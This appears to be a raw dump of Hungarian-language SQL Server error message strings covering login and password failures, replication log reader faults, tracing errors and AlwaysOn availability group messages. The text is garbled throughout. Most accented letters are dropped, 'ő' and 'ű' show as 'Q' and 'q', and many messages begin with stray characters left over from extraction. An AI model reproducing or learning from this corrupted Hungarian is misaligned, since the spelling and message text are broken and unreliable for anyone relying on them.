A httrben fut ellenQrzQpont-szl helyrellthatatlan hibt szlelt. Az ellenQrzQpont-folyamat lell, gy a szl fel tudja szabadtani az erQforrsait. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

`A kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . Ok: A kiszolgl parancsprogram-frisstsi mdban van. Ilyenkor csak rendszergazdk kapcsoldhatnak.%2!s!

A kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . Ilyenkor csak rendszergazdk kapcsoldhatnak.%2!s!

A bejelentkezs sikertelen volt. A bejelentkezs nem megbzhat tartomnybl jn, ezrt nem hasznlhat Windows-hitelestssel.%1!s!

A kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! .%2!s!%3!s!

LA bejelentkezs sikertelen volt. Az egyidejq felhasznlk szma mr megegyezik a kiszolgln regisztrlt licencek szmval (%1!s!). Az egyidejq felhasznlk szmnak nvelshez szerezzen be tovbbi licenceket, majd regisztrlja Qket a VezrlQpulton levQ licenckezelQ szolgltatssal.%2!s!

A bejelentkezs sikertelen volt az SQL Server elrsre szolgl munkalloms-licencek korltjnak elrse miatt.%1!s!

A bejelentkezs sikertelen volt. Az egyidejq felhasznlk szma mr elrte a(z)  %2!s!  kiszolgln levQ licencek szmt (%1!s!). Tovbbi licenceket kell beszerezni s telepteni, vagy pedig t kell trni a teljes verzira.%3!s!

TA kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . Ok: A kiszolgl egyfelhasznls mdban van. Ilyenkor csak egyetlen rendszergazda kapcsoldhat.%2!s!

TA kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . A jelsz mdostsa sikertelen volt. A felhasznl jelszava tl friss, ezrt nem mdosthat. %2!s!

(A kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . A jelsz mdostsa sikertelen volt. A jelsz jelenleg nem hasznlhat. %2!s!

A kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . Ok: A jelsz mdostsa sikertelen volt. A jelsz nem felel meg a Windows rendszerbeli hzirend kvetelmnyeinek, mert tl rvid.%2!s!

A kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . Ok: A jelsz mdostsa sikertelen volt. A jelsz nem felel meg a Windows rendszerbeli hzirend kvetelmnyeinek, mert tl hossz.%2!s!

A kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . Ok: A jelsz mdostsa sikertelen volt. A jelsz nem felel meg a Windows rendszerbeli hzirend kvetelmnyeinek, mert nem elg sszetett.%2!s!

XA kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . A jelsz mdostsa sikertelen volt. A jelsz nem felel meg a jelszszqrQ DLL kvetelmnyeinek. %2!s!

LA kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . A jelsz mdostsa sikertelen volt. Vratlan hiba trtnt a jelsz rvnyestse kzben. %2!s!

A kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . Ok: A fik le van tiltva.%2!s!

PA kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . A jelsz mdostsa sikertelen volt. A felhasznlnak nincs engedlye a jelsz mdostsra. %2!s!

XNem sikerlt kapcsoldni a(z)  %1!s!  kiszolglhoz, mert  %2!s!  nincs definilva tvoli kiszolglknt. EllenQrizze, hogy a helyes kiszolglnevet adta-e meg. %3!s!.

Nem sikerlt kapcsoldni a(z)  %1!s!  kiszolglhoz, mert  %2!s!  nincs definilva tvoli bejelentkezsi azonostknt a kiszolgln. EllenQrizze, hogy a helyes bejelentkezsi nevet adta-e meg. %3!s!.

Nem sikerlt kapcsoldni a(z)  %1!s!  kiszolglhoz, mert az nincs konfigurlva tvoli bejelentkezsek fogadsra. A tvoli bejelentkezsek engedlyezshez hasznlja a tvoli elrs konfigurlsra szolgl belltst.%2!s!

$A kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . A fik jelenleg zrolva van. A zrolst a rendszergazda oldhatja fel. %2!s!

A kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . Ok: Lejrt a fikhoz tartoz jelsz.%2!s!

A kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . Ok: Mdostani kell a fikhoz tartoz jelszt.%2!s!

|Az SQL Server nem tudott elindulni egy rvnytelen sorozatszm miatt. Az indulskor beolvasott sorozatszm-informci rvnytelennek tqnik. jra kell telepteni az SQL Server programot.

Az SQL Server nem tud elindulni, mert rvnytelen az SQL Server jelen  %1!s!  verzijnak licencszerzQdse. A kiszolgl kilp. jra kell telepteni az SQL Server programot egy rvnyes licenccel.

A felhasznli pldny bejelentkezsi jelzQjt nem tmogatja az SQL Server ezen verzija. A kapcsolat bezrdik.%1!s!

@A felhasznli pldny bejelentkezsi jelzQje nem engedlyezett az SQL Server felhasznli pldnyhoz trtnQ kapcsoldskor. A kapcsolat bezrdik.%1!s!

A felhasznli pldny bejelentkezsi jelzQje nem hasznlhat csatolt adatbzisfjl nevvel egytt. A kapcsolat bezrdik.%1!s!

%1!s! nem tud elindulni, mert a rendszerben kevs a memria.

tA teleptett %1!s! megsrlt vagy illetktelen mdostst ksreltek meg rajta (%2!s!). Krjk, a problma elhrtsa rdekben trlje a programot, majd futtassa jra a teleptQt.

%1!s! nem tallta meg az alaprtelmezett pldnyt (%2!s!) - hiba: %3!s!. Krjk, az sqlservr.exe hvsakor adja meg az egyik meglvQ pldny nevt.\n\nHa azt felttelezi, hogy a teleptett program srlt, ill. illetktelenl prbltk mdostani, a problma elhrtsa rdekben trlje a programot, majd futtassa jra a teleptQt.

%1!s! nem tallta meg a megadott elnevezett pldnyt (%2!s!) - hiba: %3!s!. Krjk, az sqlservr.exe hvsakor adja meg az egyik meglvQ pldny nevt.\n\nHa azt felttelezi, hogy a teleptett program srlt, ill. illetktelenl prbltk mdostani, a problma elhrtsa rdekben trlje a programot, majd futtassa jra a teleptQt.

p%1!s!: rvnytelen a kvetkezQ paramter:  %2!s! .

Helytelen szm paramterrel lett meghvva a kvetkezQ eljrs: %1!s!.

4Egy adatbzishoz egyszerre csak egy naplolvas gynk vagy naplval kapcsolatos eljrs (sp_repldone, sp_replcmds s sp_replshowcmds) kapcsoldhat. Ha naplval kapcsolatos eljrst hajtott vgre, akkor dobja el az eljrshoz hasznlt kapcsolatot, vagy futtassa le a kapcsolaton az sp_replflush eljrst, mielQtt elindtja a naplolvas gynkt, illetve vgrehajt egy naplval kapcsolatos msik eljrst.

$Nem sikerlt memrit foglalni a replikls szmra. EllenQrizze, hogy az SQL Server elegendQ memrival rendelkezik-e az sszes mqvelethez.

PNem sikerlt lehvni a kvetkezQ tbla replikcis adatait: %1!s!. EllenQrizze, hogy van-e a tblnak elsQdleges kulcsa, majd futtassa jra a naplolvas gynkt.

<Nem sikerlt vgrehajtani az eljrst. Az adatbzis nincs kzztve. Hajtsa vgre az eljrst egy olyan adatbzisban, amely repliklsra kzz van tve.

rvnytelen %1!s! utasts a kvetkezQ cikkhez: %2!s!. EllenQrizze, hogy azok a trolt eljrsok, amelyek a mdostsokat az elQfizetQkhz tovbbtjk, megfelelQ hvsi szintaxist hasznlnak-e, majd futtassa jra a naplolvas gynkt. A hvsi szintaxis megtekintshez, ill. mdostshoz hasznlja a kvetkezQ kt eljrst: sp_helparticle s sp_changearticle.

A vgrehajtsi rekord (helye: {%1!s!:%2!s!:%3!s!}) mr el lett osztva.

rvnytelen kezdQ naplsorszm {%1!s!:%2!s!:%3!s!} a vgrehajtsi rekordhoz ({%4!s!:%5!s!:%6!s!}). EllenQrizze a kvetkezQt: DBTABLE.

A vgrehajtsi rekord ({%1!s!:%2!s!:%3!s!}) a legrgibb aktv naplsorszmot a kvetkezQknt mutatja: (0:0:0).

Nem sikerlt vgrehajtani a kvetkezQ szqrQ trolt eljrst: %1!s!. Tovbbi informcit az SQL Server hibanapljban tall.

rvnytelen a repliklsi napl beolvasshoz megadott  %1!s!  naplsorszm (LSN).

xrvnytelen a replbeginlsn mezQ a DBTABLE adatbzisban.

A repliklsi napl olvasshoz megadott kezdQ naplsorszm {%1!s!:%2!s!:%3!s!} a replbeginlsn {%4!s!:%5!s!:%6!s!} elQtt trtnik.

,A repldone napl olvassra megadott naplsorszm {%1!s!:%2!s!:%3!s!} a naplbeli {%4!s!:%5!s!:%6!s!} replikls aktulis kezdete elQtt trtnik.

A repldone napl olvassra megadott naplsorszm {%1!s!:%2!s!:%3!s!} nem egy repliklt vgrehajtsi rekord.

A repldone napl olvassra megadott naplsorszm {%1!s!:%2!s!:%3!s!} nincs jelen a tranzakcinaplban.

rvnytelen %1!s! trolstpus kerlt megadsra a kvetkezQ tpus vltoz rsakor: %2!s!.

rvnytelen kiszolgli adattpus (%1!s!) kerlt megadsra a repl tpus keresskor.

Parancsszerkesztskor nem sikerlt szveges informcis rekordokat tallni a(z)  %1!s!  nevq, %2!s! azonostj oszlophoz.

A(z) %1!s! trolt eljrst tranzakcin bell kell vgrehajtani.

A naplolvas gynk vratlan, %1!s! tpus naplrekordot tallt egy DML-mqvelet feldolgozsa kzben.

Hiba trtnt a cikkgyorsttr-hozzfrsi esemnyre trtnQ vrakozs sorn.

|%1!s!: Hiba trtnt az MSMQ-sszetevQk inicializlsakor

%1!s!: Hiba trtnt a kvetkezQ Microsoft zenet-vrlista (MSMQ) megnyitsakor: %2!s!.

Megadott egy rtket a @dts_package_password paramter szmra. Ilyenkor rtket kell adnia a @dts_package_name paramternek is.

Nem rvnyes a @backupdevicetype paramter szmra megadott rtk. A kvetkezQ rtkek szerepelhetnek:  logical ,  disk  vagy  tape .

Nem sikerlt fejlc-informcirl szl biztonsgi msolatot tallni a(z)  %1!s!  adatbzishoz a megadott biztonsgimsolat-eszkzn. Adjon meg egy olyan eszkzt, amely biztonsgi msolatot tartalmaz a kzztevQi adatbzisrl.

(Az elQfizetsi belltsi parancsprogram elrsi tja csonkoldott, mert a pillanatkpek mappjt trol knyvtr elrsi tja tl hossz. Konfigurlja t a terjesztQt, hogy rvidebb elrsi utat hasznljon ehhez a kzztevQhz, majd prblja jbl elvgezni a mqveletet.

A replikls ltal ltrehozott alternatv pillanatkpmappa elrsi tja csonkoldott. Konfigurlja t a kiadvnyt, hogy rvidebb elrsi utat hasznljon erre a clra, majd prblja jbl elvgezni a mqveletet.

A megadott kiadvny nem engedi, hogy elQfizetsek biztonsgi msolatbl inicializldjanak. Ennek engedlyezshez hasznlja az sp_changepublication eljrst: lltsa be  true  rtkre az  allow_initialize_from_backup  tulajdonsgot.

tPillanatkp-kiadvnyok nem hasznlhatjk azt a belltst, hogy egy elQfizets biztonsgi msolatbl inicializldjon. Ez a bellts csak tranzakcis kiadvnyok esetn tmogatott.

Nem lehet engedlyezni azt a belltst, hogy egy elQfizets biztonsgi msolatbl inicializldjon. Ez nem tmogatott nem SQL Server kzztevQk esetn, hanem csak SQL Server kzztevQktQl rkezQ tranzakcis kiadvnyok esetn hasznlhat.

Egy naplalap indexeltnzet-cikk rvnyes j tpusai csak a kvetkezQk lehetnek:  indexed view logbased ,  indexed view logbased manualfilter ,  indexed view logbased manualview  s  indexed view logbased manualboth .

DEgy naplalap tblacikk rvnyes j tpusai csak a kvetkezQk lehetnek:  logbased ,  logbased manualfilter ,  logbased manualview  s  logbased manualboth .

4Ezt a mqveletet csak azok a felhasznlk hajthatjk vgre, akik a kvetkezQ szerepkrk tagjai: sysadmin (rendszergazda) rgztett kiszolgli szerepkr; dbowner (adatbzis-tulajdonos) vagy dbcreator (adatbzis-ltrehoz) rgztett adatbzis-szerepkr az aktulis adatbzisban.

Nem sikerlt memrit lefoglalni a replikcis sma verzijhoz tartoz csompont szmra.

XNem lehet beszrni j smavltozst a systranschemas rendszertblba. HRESULT = '0x%1!s!'. Ha a problma tartsan fennll, forduljon az gyfl-tmogatsi szolglathoz.

LA(z) %1!s! tmakr nem szerepel a tmogatott sgtmakrk kztt. A tmogatott tmakrk listzshoz hajtsa vgre az sp_replhelp N'helptopics' trolt eljrst.

A trskzi replikci engedlyezett, s a naplolvas gynk nem tallt Extended-Originator-Record (EOR) rekordot egy olyan tranzakcihoz, amely nem errQl a kiszolglrl indult ki. Forduljon az gyfl-tmogatsi szolglathoz.

A naplolvas folyamat nem tudott repliklt parancsot ltrehozni a kvetkezQ naplsorszmbl (LSN): {%1!s!:%2!s!:%3!s!}. Ksztsen biztonsgi msolatot a kiadvny-adatbzisrl, s forduljon az gyfl-tmogatsi szolglathoz.

|Nem sikerlt inicializlni a replikcis erQforrst. EllenQrizze, hogy az SQL Server elg memrival rendelkezik-e. Ha a problma tartsan fennll, indtsa jra az SQL Server programot.

|Nem tallhat objektumazonost a kvetkezQ replikcis rendszertblhoz:  %1!s! . Kzvetlen lekrdezssel ellenQrizze, hogy ltezik-e ez a rendszertbla, s elrhetQ-e. Ha a tbla ltezik, lltsa le a naplolvas gynkt, majd indtsa jra; ha a tbla nem ltezik, dobja el s konfigurlja jra a replikcit.

<rvnytelen a cikkinformci. lltsa le a naplolvas gynkt, hajtsa vgre az sp_replflush trolt eljrst, majd indtsa jra a naplolvas gynkt.

END_UPDATE naplrekord {%1!s!:%2!s!:%3!s!} szerepel megfelelQ BEGIN_UPDATE nlkl.

Nem lehet jraindtani az olvasst a kvetkezQ tbln:  %1!s! . HRESULT = '0x%2!s!'. lltsa le s indtsa jra a naplolvas gynkt. Ha a problma tartsan fennll, forduljon az gyfl-tmogatsi szolglathoz.

Hrvnytelen %1!s! naplrekord.

|A cikkgyorsttrban az adatbzis-objektum nem zrolhat.

PA program %1!s! bjt mennyisgq adatot vrt, de csak %2!s! bjt tallhat a tranzakcinaplban. Tovbbi informcirt forduljon az gyfl-tmogatsi szolglathoz.

Nem rvnyes a szveginformcis blokk. Forduljon az gyfl-tmogatsi szolglathoz.

Nem sikerlt beolvasni a naplsorszmot (LSN): {%1!s!:%2!s!:%3!s!}. Forduljon az gyfl-tmogatsi szolglathoz.

0Nem sikerlt zrolni az aktulis naplrekordot a kvetkezQ naplsorszmnl (LSN): {%1!s!:%2!s!:%3!s!}. Forduljon az gyfl-tmogatsi szolglathoz.

@A sorkszlet nem tartalmaz %1!s! eltols oszlopot. Ksztsen biztonsgi msolatot a kiadvny-adatbzisrl, s forduljon az gyfl-tmogatsi szolglathoz.

hrvnytelen %1!s! rtk a kvetkezQnl: %2!s!.

lNem sikerlt sorokat trlni a systranschemas tblbl. HRESULT = '0x%1!s!'. A sorok akkor trlQdnek, amikor a replikci legkzelebb vgrehajtja az sp_replcmds trolt eljrst.

A naplolvas gynk a napl olvassnak vgre rt a kivonattblban lvQ sszes tranzakci feldolgozsa elQtt. %1!s! tranzakci van a kivonattblban, %2!s! tranzakci kerlt feldolgozsra, naplvgi naplsorszm: {%3!s!:%4!s!:%5!s!}. Ksztsen biztonsgi msolatot a kiadvny-adatbzisrl, s forduljon az gyfl-tmogatsi szolglathoz.

Prvnytelen szqrQeljrs-definci.

XNem sikerlt beolvasni egy frissts trlsi naplrekordjba a kvetkezQ naplsorszm (LSN) alapjn: {%1!s!:%2!s!:%3!s!}. Forduljon az gyfl-tmogatsi szolglathoz.

Kttt frissts kerlt naplzsra egy msik kttt frissts tartomnyn bell, egyazon tranzakciban. ElsQ BEGIN_UPDATE {%1!s!:%2!s!:%3!s!}, aktulis BEGIN_UPDATE {%4!s!:%5!s!:%6!s!}. Forduljon az gyfl-tmogatsi szolglathoz.

A naplolvas gynk a napl vgre rt egy kttt frissts feldolgozsa kzben. BEGIN_UPDATE naplsorszm {%1!s!:%2!s!:%3!s!}, END_UPDATE naplsorszm {%4!s!:%5!s!:%6!s!}, aktulis naplsorszm {%7!s!:%8!s!:%9!s!}. Ksztsen biztonsgi msolatot a kiadvny-adatbzisrl, s forduljon az gyfl-tmogatsi szolglathoz.

A program vratlan szveginformci-kezdet (TIB) naplrekordot tallt a(z) %1!s! eltols TIB-jnek feldolgozsakor. Utols feldolgozott TIB: (textInfoFlags 0x%2!s!, coloffset %3!s!, newSize %4!s!, oldSize %5!s!). Forduljon az gyfl-tmogatsi szolglathoz.

A program vratlan szveginformci-vg (TIE) naplrekordot tallt. Utols feldolgozott szveginformci-kezdet (TIB): (textInfoFlags 0x%1!s!, coloffset %2!s!, newSize %3!s!, oldSize %4!s!), szveggyqjtsi llapot: %5!s!. Forduljon a termktmogatsi szolglathoz.

%1!s!, ti: {RowsetId %2!s!, {TextTimeStamp %3!s!, {RowId {PageId %4!s!, FileId %5!s!}, SlotId %6!s!}}, coloffset %7!s!, textInfoFlags 0x%8!s!, textSize %9!s!, offset %10!s!, oldSize %11!s!, newSize %12!s!}.

Az aktulis smban nem tallhat a kvetkezQ sorkszlet-azonost: %1!s!. lltsa le s indtsa jra a naplolvas gynkt. Ha a problma tartsan fennll, inicializlja jra az sszes elQfizetst a kiadvnyhoz.

|A naplolvas gynk NULL parancsot tallt, ami nem rvnyes. Ha az gynk lellt, indtsa jra. Ha a problma tartsan fennll, inicializlja jra az sszes elQfizetst a kiadvnyhoz.

,Nem tallhat adatbzis-informci a cikkgyorsttrban. lltsa le, majd indtsa jra az SQL Server programot s a naplolvas gynkt. Ha a problma tartsan fennll, ksztsen biztonsgi msolatot a kiadvny-adatbzisrl, s forduljon az gyfl-tmogatsi szolglathoz.

Nem sikerlt lehvni a legrgebbi aktv naplsorszmot (LSN) egy vgrehajtsi rekordbl. lltsa le, majd indtsa jra az SQL Server programot s a naplolvas gynkt. Ha a problma tartsan fennll, inicializlja jra az sszes elQfizetst a kiadvnyhoz.

Nem sikerlt puffert kiosztani vagy jbl kiosztani a replikcis parancs szmra, rgi mret: %1!s!, j mret: %2!s!.

0rvnytelen kompenzcis tartomny: kezdet: {%1!s!:%2!s!:%3!s!}, vg: {%4!s!:%5!s!:%6!s!}. Inicializlja jra az sszes elQfizetst a kiadvnyhoz.

XNem sikerlt lehvni a sorkszlet-azonostt szveges mutatn alapul mqveletbQl ltrehozott naplrekordokbl. Inicializlja jra az sszes elQfizetst a kiadvnyhoz.

8Lehetsges inkonzisztens llapot a terjesztsi adatbzisban: dist_backup_lsn {%1!s!:%2!s!:%3!s!}, dist_last_lsn {%4!s!:%5!s!:%6!s!}. Hajtsa vgre az  sp_repldone NULL, NULL, 0, 0, 1  eljrst, majd az sp_replflush eljrst. Inicializlja jra az sszes elQfizetst a kiadvnyhoz.

Nem lehet lehvni a trskzi adatbzis adatait. Forduljon az gyfl-tmogatsi szolglathoz.

Nem sikerlt kirtkelni a szqrQeljrst vagy szmtott oszlopot. Nem tallhat az oszlopeltolsi informci a kvetkezQ oszlophoz: ID: %1!s!, rowsetId: %2!s!. lltsa le s indtsa jra a naplolvas gynkt. Ha a problma tartsan fennll, ksztsen biztonsgi msolatot a kiadvny-adatbzisrl, majd forduljon az gyfl-tmogatsi szolglathoz.

hA program vratlan %1!s! naplrekordot tallt, utoljra feldolgozott FILESTREAMInfo csompont: {%2!s!, {{%3!s!, %4!s!}, %5!s!, %6!s!, %7!s!, %8!s!}, %9!s!, %10!s!, %11!s!, %12!s!, %13!s!, %14!s!, {%15!s!:%16!s!:%17!s!}, %18!s!, {{%19!s!, %20!s!}, %21!s!, %22!s!, %23!s!, %24!s!}, {%25!s!:%26!s!:%27!s!}}

<Nem sikerlt a(z) %1!s! mqvelet a replikcis krnyezeten a kvetkezQ TxF esetben: {%2!s!, %3!s!, %4!s!, %5!s!, %6!s!, %7!s!, %8!s!, %9!s!, {%10!s!:%11!s!:%12!s!}, %13!s!, %14!s!, {%15!s!:%16!s!:%17!s!}}. Ha a problma tartsan fennll, forduljon a termktmogatsi szolglathoz.

pNem sikerlt beolvasni a TXF_REPLICATION_RECORD_WRITE struktrt. Utoljra visszaadott hiba:  %1!s! . Ha a problma tartsan fennll, forduljon az gyfl-tmogatsi szolglathoz.

HEgy vagy tbb elQfizets inaktvnak lett megjellve. Dobja el s hozza ltre jbl a jelen csompont sszes olyan elQfizetst, amelynl ez a hiba jelentkezik.

Az adatbzist nem lehet tnevezni, mert kzz van tve, vagy pedig ez egy replikciban szereplQ terjesztsi adatbzis.

Egy hiba utn jbl prblkozik a kvetkezQ gynk:  %1!s! . %2!s! prblkozs trtnt. Tovbbi rszleteket a Jobs (Feladatok) mappban lvQ, az gynkre vonatkoz feladatelQzmnyekben tall.

Erre a kiadvnyra mg nem aktv az elQfizets. Nincs szksg felhasznli beavatkozsra.

Nem sikerlt sszehasonltani a(z) %1!s! azonostj oszlop trls s beszrs naplbejegyzst a(z) %2!s! azonostj tblval. 

ODBC-hiba trtnt, llapot= %1, natv hiba = %2, hibazenet = %3.

DWindows NT hiba trtnt, %1.

tMS SQL SNMP bQvtsi gynk elindul, %1, verzi: %2.

dMS SQL SNMP bQvtsi gynk jrakapcsoldik.

PMS SQL SNMP bQvtsi gynk lell.

Nem indthat a C2 naplzsi nyomkvets. Az SQL Server lell. Hiba = %1!s!

Az OLE feladatkiosztt nem sikerlt inicializlni. Heterogn lekrdezsek, elosztott lekrdezsek s tvoli eljrshvsok nem hasznlhatk. EllenQrizze, hogy a DCOM megfelelQen van-e teleptve s konfigurlva.

A(z)  %1!s!  fjl vagy nem ltezik, vagy hiba trtnt a megnyitsakor. Hiba =  %2!s! .

xrvnytelen a kvetkezQ nyomkvetsi fjlnv:  %1!s! .

\Ismeretlen hiba trtnt a nyomkvetsben.

|Az aktv nyomkvetst le kell lltani a mdosts elQtt.

hNem rvnyes a nyomkvets esemnyazonostja.

dNem rvnyes a nyomkvets oszlopazonostja.

Az azonos esemny-oszlopazonostj szqrQket csoportba kell rendezni.

tNem rvnyes a szqrQben lvQ sszehasonlt opertor.

hNem rvnyes a szqrQben lvQ logikai opertor.

TNem rvnyes a nyomkvetsi llapot.

LNem tallhat a krt nyomkvets.

XNem rvnyes a nyomkvetsi bellts.

tNem lehet eltvoltani az SPID nyomkvetsi oszlopot.

`Nem sikerlt ltrehozni nyomkvetsi fjlt.

XNem volt elg memria a nyomkvetshez.

hMr letelt a nyomkvets krt lelltsi ideje.

<Nem rvnyes a paramter.

\Korltozott nyomkvets nem mdosthat.

Nem lehet ltrehozni j nyomkvetst, mert a nyomkvetsi fjl elrsi tja megtallhat a meglvQ nyomkvetsekben.

A nyomkvetsi fjl elrsi tja nem rvnyes vagy nem tmogatott.

`A nyomkvetsi fjl neve nem rvnyes, mert tfordul fjlszmot tartalmaz (NNN a C:\file_NNN fjlnvben), mikzben a nyomkvets tfordulsi belltsa engedlyezve van.

Az alaprtelmezett nyomkvetst nem lehet lelltani vagy mdostani. Kikapcsolshoz hasznlja az SP_CONFIGURE eljrst.

A nyomkvets lell, mert az aktulis nyomkvetsi fjl betelt, s nincs megadva az tfordulsi bellts.

Nem sikerlt trlni a kvetkezQ rgi nyomkvetsi fjlt:  %1!s! . Hiba =  %2!s! .

Hiba trtnt az alaprtelmezett nyomkvets indtsakor. Ok: %1!s! Az sp_configure eljrssal kapcsolja ki, majd kapcsolja be a  default trace enabled  specilis kiszolgli konfigurcis belltst.

Hiba miatt lellt a kvetkezQ azonostj nyomkvets:  %1!s! . Ok: %2!s!. A problma elhrtsa utn indtsa jra a nyomkvetst.

A kvetkezQ rendelkezsre llsi msodpldnyhoz megadott  %1!s!  READ_ONLY_ROUTING_URL cm rvnytelen:  %2!s! . Nem kveti a ktelezQ  TCP://rendszercm:port  formtumot. Az tirnytsi URL-cmek helyes formtumrl az SQL Server online knyvekben olvashat bQvebben, a CREATE AVAILABILITY GROUP utasts dokumentcijban.

Dupliklt  %1!s!  rendelkezsre llsi msodpldny lett megadva a kvetkezQ rendelkezsre llsi msodpldny READ_ONLY_ROUTING_LIST listjn:  %2!s! . Vizsglja meg a parancsban megadott msodpldnylistt, s tvoltsa el a dupliklt msodpldnynev(ek)et a listrl. Utna prblja megismtelni a parancs vgrehajtst.

A kvetkezQ rendelkezsre llsi msodpldny READ_ONLY_ROUTING_LIST listjn megadott  %1!s!  rendelkezsre llsi msodpldny nem ltezik:  %2!s! . Csak a megadott  %3!s!  rendelkezsre llsi csoporthoz tartoz rendelkezsre llsi msodpldnyok vehetQk fel erre a listra. Egy adott rendelkezsre llsi csoportban szereplQ rendelkezsre llsi msodpldnyok nevnek megtekintshez vlassza a replica_server_name elemet a sys.availability_replicas nzetbQl s a name elemet a sys.availability_groups nzetbQl. Tovbbi informci az SQL Server online knyvekben olvashat.

A kvetkezQ rendelkezsre llsi msodpldny READ_ONLY_ROUTING_LIST listjn megadott  %1!s!  rendelkezsre llsi msodpldnynl nincs belltva a READ_ONLY_ROUTING_URL cm rtke:  %2!s! . GyQzQdjn meg arrl, hogy a rendelkezsre llsi csoportban szereplQ minden egyes rendelkezsre llsi msodpldnynl be van lltva a READ_ONLY_ROUTING_URL cm. Adjon meg egy rvnyes READ_ONLY_ROUTING_URL cmet minden egyes msodpldnynl, amelyet fel kvn venni a READ_ONLY_ROUTING_LIST listra. Ha mdostja egy ltezQ rendelkezsre llsi csoport rendelkezsre llsi msodpldnyait, akkor egy adott rendelkezsre llsi csoportban szereplQ rendelkezsre llsi msodpldnyok nevnek megtekintshez vlassza a replica_server_name elemet a sys.availability_replicas nzetbQl s a name elemet a sys.availability_groups nzetbQl. Tovbbi informci az SQL Server online knyvekben olvashat.

Nem sikerlt ltrehozni, csatlakoztatni vagy hozzadni egy msodpldnyt a(z)  %1!s!  rendelkezsre llsi csoporthoz, mert a(z)  %2!s!  csompont lehetsges tulajdonosa mindkt kvetkezQ msodpldnynak:  %3!s!  s  %4!s! . Ha egy msodpldny egy feladattvteli frtbeli pldny, tvoltsa el az tfedett csompontot a lehetsges tulajdonosaitl, majd prblja meg jbl.

XLejrt a(z)  %1!s!  rendelkezsre llsi csoport s a Windows Server feladattvteli frt kztti brlet. Kapcsoldsi problma merlt fel az SQL Server pldnya s a Windows Server feladattvteli frt kztt. Annak megllaptshoz, hogy a rendelkezsre llsi csoport helyesen vgzi-e a feladattvtelt, ellenQrizze a rendelkezsre llsi csoporthoz tartoz megfelelQ erQforrst a Windows Server feladattvteli frtben.

Sikertelen volt az AlwaysOn rendelkezsre llsi csoportok Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frtkrnyezetnek belltsa egy tvoli WSFC-frtre. Ennek az az oka, hogy az SQL Server helyi pldnyn futtatott egy vagy tbb rendelkezsre llsi msodpldny jelenleg csatlakoztatva van egy rendelkezsre llsi csoporthoz a helyi WSFC-frtben. Tvoltsa el a csatlakoztatott msodpldnyokat a megfelelQ rendelkezsre llsi csoportbl. Ezt kvetQen prblja jbl vgrehajtani az ALTER SERVER CONFIGURATION SET HADR CLUSTER CONTEXT = '%1!s!' parancsot.

A megadott  %1!s!  Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frt nem ll kszen arra, hogy AlwaysOn rendelkezsre llsi csoportok frtkrnyezetv vljon (Windows-hibakd: %2!s!). Ennek lehetsges oka az, hogy a megadott WSFC-frt nem mqkdik, vagy a biztonsgi engedlyekkel kapcsolatos problma merlt fel. Hrtsa el a hiba okt, majd prblja jbl vgrehajtani az ALTER SERVER CONFIGURATION SET HADR CLUSTER CONTEXT = 'remote_wsfc_cluster_name' parancsot.

Sikertelen volt az ALTER SERVER CONFIGURATION SET HADR CLUSTER CONTEXT = '%1!s!' parancs vgrehajtsa. Az AlwaysOn rendelkezsre llsi csoportok aktulis Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frtkrnyezete mr egy tvoli WSFC-frt. Ha az AlwaysOn rendelkezsre llsi csoportok tvoli frtkrnyezetben futnak, nem engedlyezett az tvlts egy msik tvoli WSFC-frtre. Csak a helyi WSFC-frtre lehet tvltani.

Sikertelen volt az AlwaysOn rendelkezsre llsi csoportok tvltsa a helyi Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frtkrnyezetre. A sikertelensg oka az, hogy a frtkrnyezet visszavltsa a helyi frtre jelenleg adatvesztst okozhatna, mert a szinkron vglegestsq msodpldnyokon fut egy vagy tbb msodlagos adatbzis nem SYNCHRONIZED llapot. Vrja meg az sszes szinkron vglegestsq msodlagos adatbzis szinkronizlsnak befejezQdst, majd prblja jbl vgrehajtani az ALTER SERVER CONFIGURATION SET HADR CLUSTER LOCAL parancsot.

Sikertelen volt az AlwaysOn rendelkezsre llsi csoportok Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frtkrnyezetnek belltsa a megadott  %1!s!  WSFC-frtre. A frtkrnyezet vissza lett vltva a helyi WSFC-frtre. Tovbbi informci az SQL Server hibanapljban olvashat. Hrtsa el a hiba okt, majd ismtelje meg a msodlagos msodpldnyok tvoli WSFC-frtn val belltsnak lpseit a kezdettQl.

A(z)  %1!s!  belltskulcs-rtk feldolgozsa sikertelen volt. (Windows-hibakd: %2!s!). Ez az rtk tartalmazza a tvoli Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frt nevt. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben. Hrtsa el a hiba okt, majd ismtelje meg a msodlagos msodpldnyok tvoli WSFC-frtn val belltsnak lpseit a kezdettQl.

\A kvetkezQ rendelkezsre llsi csoportban levQ egy vagy tbb adatbzis nincs szinkronizlva:  %1!s! . Egy szinkron vglegestsq rendelkezsre llsi msodpldny esetn az ALTER AVAILABILITY GROUP <csoportnv> OFFLINE parancs vgrehajtsa nem engedlyezett, ha egy vagy tbb adatbzis nincs szinkronizlva. Vrja meg, hogy az sszes adatbzis SYNCHRONIZED llapotba kerljn, majd prblja jbl vgrehajtani a parancsot.

